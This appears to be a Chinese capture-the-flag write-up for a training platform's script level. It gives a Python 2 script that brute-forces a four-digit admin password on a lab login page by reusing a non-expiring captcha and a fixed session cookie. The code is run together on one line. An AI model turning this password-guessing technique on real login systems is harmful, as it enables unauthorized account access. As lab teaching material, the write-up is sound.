网络信息安全学习平台脚本关-第五关

来源:互联网 发布:软件开发组织架构 编辑:程序博客网 时间:2024/06/11 08:47

脚本关之逗比验证码第一期:地址

这道题模拟登陆页面,查看源代码发现有,username, pwd ,vcode,
其中username已经给出,且提示pwd为四位数的数字,下面有验证码
用python写一个脚本自动的跑1000~10000的密码,暴力破解,据说验证码不会过期所以,获取一个验证码之后一直用这个验证码然后跑密码登陆,获取返回的页面,直到返回页面没有错误,则说明得到了密码,至于验证码为什么不过期由于做这个题的目的是学习python,所以就不关心了
注意:除了data,还需要设置headers中的cookie,否则提示
这里写图片描述
代码:

#coding: gbk#coding: utf-8import urllibimport urllib2import reurl = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"for pwd in range(1000,10000):    values = {'username': 'admin', 'pwd': pwd, 'vcode': 'BAKD'}    data = urllib.urlencode(values)    header = {'Cookie': 'PHPSESSID=dc4adc828abed413e7d164ac9af7ef33'}    req = urllib2.Request(url, data, headers=header)    res = urllib2.urlopen(req)    content = unicode(res.read(), 'utf-8').encode('gbk')    if 'error' in content:        print 'try:', pwd    else:        print 'right pwd:', pwd        print content        break;

结果:
这里写图片描述

0 0
原创粉丝点击